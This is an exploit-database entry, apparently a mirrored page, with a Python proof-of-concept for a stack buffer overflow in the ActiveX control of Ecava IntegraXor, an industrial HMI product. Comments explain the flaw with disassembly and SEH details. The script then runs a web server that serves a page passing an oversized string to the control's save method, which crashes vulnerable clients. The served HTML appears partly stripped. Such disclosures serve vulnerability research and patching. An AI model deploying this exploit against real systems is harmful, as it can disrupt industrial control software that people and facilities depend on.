Ecava IntegraXor Remote – ActiveX Buffer Overflow (PoC) - 体验盒子

作者： Jeremy Brown

日期： 2010-12-18

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/15767/

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#!/usr/bin/python

# intx.py

# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC

# Jeremy Brown

# December 2010

# http://www.integraxor.com/

#

# There is a stack-based buffer overflow in IntegraXor that can be triggered

# by passing an overly large value to the "save" method of the IntegraXor.Project

# control located in igcomm.dll. This control is marked both safe for scripting

# and safe for initialization.

#

# .text:100027C1 pusheax ; lpString2

# .text:100027C2 lea eax, [esp+84Ch+String1]

# .text:100027C6 pusheax ; lpString1

# .text:100027C7 callds:lstrcpyW

# .text:100027CD lea ecx, [esp+848h+String1]

# .text:100027D1 pushecx

# .text:100027D2 callSplitPath

# .text:100027D7 add esp, 4

# .text:100027DA lea ecx, [esp+848h+var_83C]

# .text:100027DE callds:??0?$basic_string@_WU?$char<truncated>

# .text:100027E4 cmp dword ptr [esi+20h], 8

# .text:100027E8 jbshort loc_100027EF

# .text:100027EA mov esi, [esi+0Ch]

# .text:100027ED jmp short loc_100027F2

#

# The vulnerable code in this block passes String1 (dest) and lpString2 (src)

# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then

# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and

# adds a terminating NULL byte to the end.

#

# If you attach a debugger and set a breakpoint on 100027CD, you can see an

# exception registration record is stored before the return address:

#

# ESP+83C> 00420042B.B.Pointer to next SEH record

# ESP+840> 00420042B.B.SE handler

# ESP+844> FFFF0000..��

# ESP+848> 10007916xxxxRETURN to igcom.10007916 from igcom.10002770

#

# I wasn't able to find any useable unicode compatible PPRs. We can overwrite

# the return address, but it will exit with a c0000409 code (/GS exception).

#

# Tested Ecava IntegraXor 3.5.3900.5 on Windows

#

# Fixed version: 3.5.3900.10

#

import sys

import socket

resp="""

<html>

<body>

data="IntegraXor"

filepath=String(1038,"B")

target.save data,filepath

</script>

</body>

</html>

"""

port=80

try:

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.bind(("",port))

sock.listen(1)

conn,addr=sock.accept()

except IOError,e:

print e

print "Client at %s connected\n"%addr[0]

req=conn.recv(1024)

print "Sending data..."

conn.send(resp)

print "Done"

conn.close()